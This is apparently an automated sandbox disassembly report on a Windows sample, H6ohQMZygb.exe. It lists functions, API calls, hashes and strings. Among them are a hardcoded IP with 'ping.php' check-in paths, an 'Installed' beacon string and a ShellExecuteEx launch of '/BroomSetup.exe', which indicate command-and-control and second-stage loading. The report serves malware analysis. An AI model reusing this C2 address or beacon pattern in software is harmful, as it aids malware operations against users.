Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\H6ohQMZygb.exe
API String ID: 2506810119-2666561447
Opcode ID: 10fcc7f2f5d804bb7cb1eefa4a4521158fd694f542212430261a953d54342813
Instruction ID: 321d6367a6fee7b092e2707a93bc218c3a297ef3b3ee9a4d4a62b43cead9adc1
Opcode Fuzzy Hash: 10fcc7f2f5d804bb7cb1eefa4a4521158fd694f542212430261a953d54342813
Instruction Fuzzy Hash: 80318AB5A80258EFDB21DF999C8499FBBBDEF85314F1090BAF90897210D7709A44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00413453 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\H6ohQMZygb.exe,00000104), ref: 00413493
_free.LIBCMT ref: 0041355E
_free.LIBCMT ref: 00413568

Strings

C:\Users\user\Desktop\H6ohQMZygb.exe, xrefs: 0041348A, 00413491, 004134C0, 004134F8

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\H6ohQMZygb.exe
API String ID: 2506810119-2666561447
Opcode ID: 10fcc7f2f5d804bb7cb1eefa4a4521158fd694f542212430261a953d54342813
Instruction ID: 58d2aaf7a1ff3642db7e0fa319c4168220cbb5063a381f46713cb3c9908270ad
Opcode Fuzzy Hash: 10fcc7f2f5d804bb7cb1eefa4a4521158fd694f542212430261a953d54342813
Instruction Fuzzy Hash: 7F31A0B1E00218BBDB21DF9A9C819DEBBF9EF85715F10406BE90497211D7789F84CB98

Uniqueness

Uniqueness Score: -1.00%

Function 02E037D6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E037DB

Strings

185.172.128.228, xrefs: 02E037E2
Installed, xrefs: 02E037E4
/ping.php?substr=%s, xrefs: 02E037E3

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: /ping.php?substr=%s$185.172.128.228$Installed
API String ID: 3519838083-3380671521
Opcode ID: 2650cef234c6d34380a4dc2c1bc91f3a9087897e67305dd2c9ed4568cdd97fca
Instruction ID: c3a8e010b0159bccb31850185211d38d3361c881f39977891ba46a193891051b
Opcode Fuzzy Hash: 2650cef234c6d34380a4dc2c1bc91f3a9087897e67305dd2c9ed4568cdd97fca
Instruction Fuzzy Hash: 2D01C472A41514ABD7049F889C80BAEB779FF48714F109169F808D7281D3709A928AF5

Uniqueness

Uniqueness Score: -1.00%

Function 0040356F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00403574

Strings

/ping.php?substr=%s, xrefs: 0040357C
185.172.128.228, xrefs: 0040357B
Installed, xrefs: 0040357D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog
String ID: /ping.php?substr=%s$185.172.128.228$Installed
API String ID: 3519838083-3380671521
Opcode ID: 2650cef234c6d34380a4dc2c1bc91f3a9087897e67305dd2c9ed4568cdd97fca
Instruction ID: e00668ac4cc38b205d45fafedc0dff02f956e5328581a486860be4d3cf51c8e0
Opcode Fuzzy Hash: 2650cef234c6d34380a4dc2c1bc91f3a9087897e67305dd2c9ed4568cdd97fca
Instruction Fuzzy Hash: F501AD72A01111BBDB04AF899C41BAEB76DEF49315F10013FF815E3292D3B89E418AE9

Uniqueness

Uniqueness Score: -1.00%

Function 02E29F50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40synchronizationCOMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(?), ref: 02E29F92
WaitForSingleObject.KERNEL32(?,00008000), ref: 02E29FA6
CloseHandle.KERNEL32(?), ref: 02E29FAF

Strings

/BroomSetup.exe, xrefs: 02E29F5B

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: CloseExecuteHandleObjectShellSingleWait
String ID: /BroomSetup.exe
API String ID: 3837156514-1897133622
Opcode ID: 96c14853c3a7e8e2b5ce62936435f221afcc3883c14d81a7c576005553293562
Instruction ID: f031258e5e830c78b0550e49ea7ddcff8a6a9d1c7f91c9d1e8de541d01072cb8
Opcode Fuzzy Hash: 96c14853c3a7e8e2b5ce62936435f221afcc3883c14d81a7c576005553293562
Instruction Fuzzy Hash: F2015A31E00218EBDB15EFA9E9859DDBBF8FF08654F509126F906A6160EB709A45CF80

Uniqueness

Uniqueness Score: -1.00%

Function 02E18166 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 02E181F1
__alldvrm.LIBCMT ref: 02E183F2
__alldvrm.LIBCMT ref: 02E18414

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 9f50f1287645af974fc9ab0e232f0a64255fc9c04b425e4a8d194d882ff023bd
Instruction ID: 142026768240ecb977cc8890038c6a26f3b8c196fb4f3012a595d3da25a24737
Opcode Fuzzy Hash: 9f50f1287645af974fc9ab0e232f0a64255fc9c04b425e4a8d194d882ff023bd
Instruction Fuzzy Hash: F5A17B72A807869FFB26CF58C8817AEBBE1EF11314F18D17DE9959B280D7348941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02E22D96 Relevance: 6.2, APIs: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02E22EC5

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: b488d8ebd983b87a87a4bdbdc4cfd475395afee6dc84f6f2d69541cf3f66f49d
Instruction ID: 2e87bd454bae6724e661772a08e032abe9758309f3ec9077c9a85188aa43b19f
Opcode Fuzzy Hash: b488d8ebd983b87a87a4bdbdc4cfd475395afee6dc84f6f2d69541cf3f66f49d
Instruction Fuzzy Hash: C5414F31AC0130ABDB266BB84C84AAF7766EF41374F14E275FF26D61A0DB3044449A62

Uniqueness

Uniqueness Score: -1.00%

Function 00422B2F Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00422C5E

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5b35c683638761f9f3fd89d50bb5004e323ced7b117d5c3ae902f62a914f302c
Instruction ID: c749ad928cc12a3bbac01adf02bb0c787ad504b16cbfdd6a9a1cd51636192259
Opcode Fuzzy Hash: 5b35c683638761f9f3fd89d50bb5004e323ced7b117d5c3ae902f62a914f302c
Instruction Fuzzy Hash: DB413B317041207ADB206EBAAE856EF3B65EF05374F94061FF814E6391DAFC8981866D

Uniqueness

Uniqueness Score: -1.00%

Function 02E1B820 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,00431760,00000000,00000000,8B56FF8B,02E14192,?,00000004,00000001,00431760,0000007F,?,8B56FF8B,00000001), ref: 02E1B86D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 02E1B8F6
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 02E1B908
__freea.LIBCMT ref: 02E1B911

Part of subcall function 02E17E3C: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02E17E6E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 31b1f8543649e32aff5c42ec9c38f3d5598f3aa7cb2249fca200fc8b480e1885
Instruction ID: 2c7c354fdf1301a455a0abd1464f1866931b4ccf2adc466f5eafe812cd43741d
Opcode Fuzzy Hash: 31b1f8543649e32aff5c42ec9c38f3d5598f3aa7cb2249fca200fc8b480e1885
Instruction Fuzzy Hash: 95319C72A5020AABDF248F65DC84EAE7BA5EF40718F04817DF80497190E735D951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02E26805 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00000000), ref: 02E26819
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02E26827
GetFileAttributesA.KERNEL32(00000000,00000000,?,00000000), ref: 02E268C5
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02E268DA

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 89cd4faef369c113352aafb4e889abbbd83af53b8a8d5f485cbb7ecc53efb8bb
Instruction ID: 473536cdb695c5ed2fdd43fcec2baee0f7bca57c9837edf019aa7015ae2d76b8
Opcode Fuzzy Hash: 89cd4faef369c113352aafb4e889abbbd83af53b8a8d5f485cbb7ecc53efb8bb
Instruction Fuzzy Hash: 9E21683194067487CF394E7858C4BEDBB5D8B4631CF0453A9D5D267281CB71498F8EA0

Uniqueness

Uniqueness Score: -1.00%

Function 02E0CF9B Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 02E0CFB5

Part of subcall function 02E0CF02: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 02E0CF31
Part of subcall function 02E0CF02: ___AdjustPointer.LIBCMT ref: 02E0CF4C

_UnwindNestedFrames.LIBCMT ref: 02E0CFCA
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 02E0CFDB
CallCatchBlock.LIBVCRUNTIME ref: 02E0D003

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 47db2c8148be1e88ced26f356c7ddfb08dca30c4f884cb2ff03c50df69916c0c
Instruction ID: b078350fb9e5df0eec8cbfe692a470cc13332863207d2128b4b5b6d4e884be9d
Opcode Fuzzy Hash: 47db2c8148be1e88ced26f356c7ddfb08dca30c4f884cb2ff03c50df69916c0c
Instruction Fuzzy Hash: 9A014072140208BBCF125E95CC84DEF7B6AFF48754F049115FE0896160D336D8A2DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD34 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0040CD4E

Part of subcall function 0040CC9B: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0040CCCA
Part of subcall function 0040CC9B: ___AdjustPointer.LIBCMT ref: 0040CCE5

_UnwindNestedFrames.LIBCMT ref: 0040CD63
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 0040CD74
CallCatchBlock.LIBVCRUNTIME ref: 0040CD9C

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 47db2c8148be1e88ced26f356c7ddfb08dca30c4f884cb2ff03c50df69916c0c
Instruction ID: 9fef9b9d15c3bbec95cf5ce1277e606e3e0e8f7af73b130bf930877ea9302e3d
Opcode Fuzzy Hash: 47db2c8148be1e88ced26f356c7ddfb08dca30c4f884cb2ff03c50df69916c0c
Instruction Fuzzy Hash: 2401ED32500108BBDF126F96CC45DEF7F6AEF49758F044129FE0866161D73AE861DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02E1764A Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,02E0EE24,00000000,00000000,?,02E175F1,02E0EE24,00000000,00000000,00000000,?,02E178A9,00000006,00432318), ref: 02E1767C
GetLastError.KERNEL32(?,02E175F1,02E0EE24,00000000,00000000,00000000,?,02E178A9,00000006,00432318,00432310,00432318,00000000,00000364,?,02E171E2), ref: 02E17688
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,02E175F1,02E0EE24,00000000,00000000,00000000,?,02E178A9,00000006,00432318,00432310,00432318,00000000), ref: 02E17696

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 5e9c05dd619d841513019a50efaa237fba5c4c10d2774ef975b69fef86c72b10
Instruction ID: 6bf2d2a8599a03e443abd37a53eec6c7c22436640129587ec2d68b0f9baacea2
Opcode Fuzzy Hash: 5e9c05dd619d841513019a50efaa237fba5c4c10d2774ef975b69fef86c72b10
Instruction Fuzzy Hash: F601F7327856229BC7314B6C9C45AABBB58AF46FA4B609530F915D7181DB20D811CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 004173E3 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,0040EBBD,00000000,00000000,?,0041738A,0040EBBD,00000000,00000000,00000000,?,00417642,00000006,FlsSetValue), ref: 00417415
GetLastError.KERNEL32(?,0041738A,0040EBBD,00000000,00000000,00000000,?,00417642,00000006,FlsSetValue,00432310,FlsSetValue,00000000,00000364,?,00416F7B), ref: 00417421
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0041738A,0040EBBD,00000000,00000000,00000000,?,00417642,00000006,FlsSetValue,00432310,FlsSetValue,00000000), ref: 0041742F

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 5e9c05dd619d841513019a50efaa237fba5c4c10d2774ef975b69fef86c72b10
Instruction ID: e9716c86808045d7f14b55de3b2749912f888c7ab8fa17779e21c55d5fbafc8e
Opcode Fuzzy Hash: 5e9c05dd619d841513019a50efaa237fba5c4c10d2774ef975b69fef86c72b10
Instruction Fuzzy Hash: 9001FC367452329BC7314BB8AC45AA77F68AF057A07600532F916D7241C728D842CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 00412ACD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00412B5D

Strings

pow, xrefs: 00412B35, 00412B52

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 1f0215557e54efe32a1d4282fa20cfbe48d97ab46094a9f1c4b01b02947465bf
Instruction ID: 6586de21dcba6b14643d74b3d502e0296f8c7384b4017679f04c35bc5958047c
Opcode Fuzzy Hash: 1f0215557e54efe32a1d4282fa20cfbe48d97ab46094a9f1c4b01b02947465bf
Instruction Fuzzy Hash: 5C515DB1D08502A6CB157F14CE413EB3B90EB40754F30496BE085C23E8EBBD9CE6964E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0BC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,00000005,?,00000000), ref: 0041E0E1

Strings

, xrefs: 0041E126
A, xrefs: 0041E0D3

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Info
String ID: $A
API String ID: 1807457897-4282976490
Opcode ID: dcc4a6ceb510859cef7435c96a52ce2ae747380ef230893b4552fb6be57e35c1
Instruction ID: 9e8a5153e95495eab6d7063595741484a98e1da86bd6f87ada349e4fdbec6c61
Opcode Fuzzy Hash: dcc4a6ceb510859cef7435c96a52ce2ae747380ef230893b4552fb6be57e35c1
Instruction Fuzzy Hash: AB414A74504248AADB218F65CD84AF6BBBDEF05304F1404EEE98A87143D239AAC5CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02E0CAA7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 02E0CADA
__IsNonwritableInCurrentImage.LIBCMT ref: 02E0CB93

Strings

csm, xrefs: 02E0CB7D

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: eafe928d381c72228c4249f76181f7a8530329d9bc77aefb69ef326c6a3f27c4
Instruction ID: 8b4add81bd56699c6ffe080c3f89c93b01bc091d208dad7844d5d86081dcdfa1
Opcode Fuzzy Hash: eafe928d381c72228c4249f76181f7a8530329d9bc77aefb69ef326c6a3f27c4
Instruction Fuzzy Hash: 5641B430A402099BCF10DF68C8D0A9DBBB5EF45328F24E666E8159B3D1C7759987CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02E202B9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002), ref: 02E20394

Strings

OCP, xrefs: 02E2030D
ACP, xrefs: 02E202D7

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: fdfb3bd43e26a64f15b40569a86783246931a3a1d5297c1400e2269047361df7
Instruction ID: 8b7f5b8395bdf66524847082a5a1d76543ffa0b2cca95c2c584c64ee0e75342b
Opcode Fuzzy Hash: fdfb3bd43e26a64f15b40569a86783246931a3a1d5297c1400e2269047361df7
Instruction Fuzzy Hash: 6B21F862A88224A7D7308B54CB417EB7397AF64F59F46E425E90BD7180E732DA04C394

Uniqueness

Uniqueness Score: -1.00%

Function 00420052 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002), ref: 0042012D

Strings

ACP, xrefs: 00420070
OCP, xrefs: 004200A6

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: fdfb3bd43e26a64f15b40569a86783246931a3a1d5297c1400e2269047361df7
Instruction ID: 5b116ac84c24f818e6acf50e33084ef32c4ea97e02cf60768cb80e0db8cf031c
Opcode Fuzzy Hash: fdfb3bd43e26a64f15b40569a86783246931a3a1d5297c1400e2269047361df7
Instruction Fuzzy Hash: D821B262B00125A6E7248B64F901BA7A2E6AB64B50FD64066E949D7302FB3BDE41C25C

Uniqueness

Uniqueness Score: -1.00%

Function 02E0374A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E0374F

Strings

one, xrefs: 02E03758
/cpa/ping.php?substr=%s&s=ab&sub=%s, xrefs: 02E03757

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: /cpa/ping.php?substr=%s&s=ab&sub=%s$one
API String ID: 3519838083-2876206925
Opcode ID: 8700779b9ee54179c3f5cb8f79e2d8e16f2a4269d440d0f3a84b8d2819a8f90a
Instruction ID: 8a9fe5ee603a250f4eac73ae0adb24297ce586a4610c893350ab20b4f8d1779d
Opcode Fuzzy Hash: 8700779b9ee54179c3f5cb8f79e2d8e16f2a4269d440d0f3a84b8d2819a8f90a
Instruction Fuzzy Hash: 69110872A40514BBDB049F88CC80BAEB77EFF49714F148169F418D7281D370AA928FA1

Uniqueness

Uniqueness Score: -1.00%

Function 004034E3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004034E8

Strings

one, xrefs: 004034F1
/cpa/ping.php?substr=%s&s=ab&sub=%s, xrefs: 004034F0

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog
String ID: /cpa/ping.php?substr=%s&s=ab&sub=%s$one
API String ID: 3519838083-2876206925
Opcode ID: 8700779b9ee54179c3f5cb8f79e2d8e16f2a4269d440d0f3a84b8d2819a8f90a
Instruction ID: 4557f7eb24d658d69b41f63190d3626318845ead94e2e3aacb4daf84811eef0c
Opcode Fuzzy Hash: 8700779b9ee54179c3f5cb8f79e2d8e16f2a4269d440d0f3a84b8d2819a8f90a
Instruction Fuzzy Hash: A211C272A00114BBDB04AF899C01BAEBB6DFF49314F40003EF915A3292D3799A418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402FE5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402FEA
std::locale::_Init.LIBCPMT ref: 0040300E

Part of subcall function 00407E0C: __EH_prolog3.LIBCMT ref: 00407E13
Part of subcall function 00407E0C: std::_Lockit::_Lockit.LIBCPMT ref: 00407E1E
Part of subcall function 00407E0C: std::locale::_Setgloballocale.LIBCPMT ref: 00407E39
Part of subcall function 00407E0C: _Yarn.LIBCPMT ref: 00407E4F
Part of subcall function 00407E0C: std::_Lockit::~_Lockit.LIBCPMT ref: 00407E8F

Strings

T*@, xrefs: 00402FFA

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prologH_prolog3InitLockit::_Lockit::~_SetgloballocaleYarn
String ID: T*@
API String ID: 4198646248-2370032326
Opcode ID: bc864e8894bcaca752d6ecdb3a354c694c816f94d37c66cdcddf88fd624f200c
Instruction ID: 8ab7a7eaea6acd583d0d3cf98927c1a3010f54798e7f6779102a6c195367c117
Opcode Fuzzy Hash: bc864e8894bcaca752d6ecdb3a354c694c816f94d37c66cdcddf88fd624f200c
Instruction Fuzzy Hash: C621B0B5600A06AFC305DF6AD580995FBF4FF49314B40826FE81997B50E774B924CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004177A7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(00000000,KEA,00000000,00000001,?,?,0041454B,?,?,?,?,00000004), ref: 004177F3

Strings

KEA, xrefs: 004177EA, 004177D7
IsValidLocaleName, xrefs: 004177B8, 004177C2

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: LocaleValid
String ID: IsValidLocaleName$KEA
API String ID: 1901932003-343832573
Opcode ID: a5ca493c28c6ba412606807cbd3c7c9b816681a5b54e4dfc8099069400759137
Instruction ID: 2c3fc23b3c9fb3522734f494599f8ee85843633eb1d1bc92df35cf16127e5f6c
Opcode Fuzzy Hash: a5ca493c28c6ba412606807cbd3c7c9b816681a5b54e4dfc8099069400759137
Instruction Fuzzy Hash: 87F0E930B843087BC6206B65DD46FAE7B64DF08721F50003AFC0566282CEBD5D51D5CC

Uniqueness

Uniqueness Score: -1.00%

Function 02E139B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 02E1E92A: GetEnvironmentStringsW.KERNEL32 ref: 02E1E933
Part of subcall function 02E1E92A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02E1E956
Part of subcall function 02E1E92A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 02E1E97C
Part of subcall function 02E1E92A: _free.LIBCMT ref: 02E1E98F
Part of subcall function 02E1E92A: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 02E1E99E

_free.LIBCMT ref: 02E139FA
_free.LIBCMT ref: 02E13A01

Strings

D, xrefs: 02E139E7

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID: D
API String ID: 400815659-1736417586
Opcode ID: 1fd29a6fbe296fd8d82e99904ef022ef5e2e86252c7dece85b2bfb186c03ce44
Instruction ID: 078c5a5d339ee93ebca7fa14a9d4a77e3b405668115b60011e7125c26e17fc7a
Opcode Fuzzy Hash: 1fd29a6fbe296fd8d82e99904ef022ef5e2e86252c7dece85b2bfb186c03ce44
Instruction Fuzzy Hash: 5EE0E577AC951155FB6172392C00A9E4B064BC1335B10F3BAFD20CA0CADE649402099A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DFE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,?,?,0041E26D,?), ref: 0041E00F
GetACP.KERNEL32(00000000,?,?,0041E26D,?), ref: 0041E026

Strings

mA, xrefs: 0041DFFD

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID: mA
API String ID: 0-3073248593
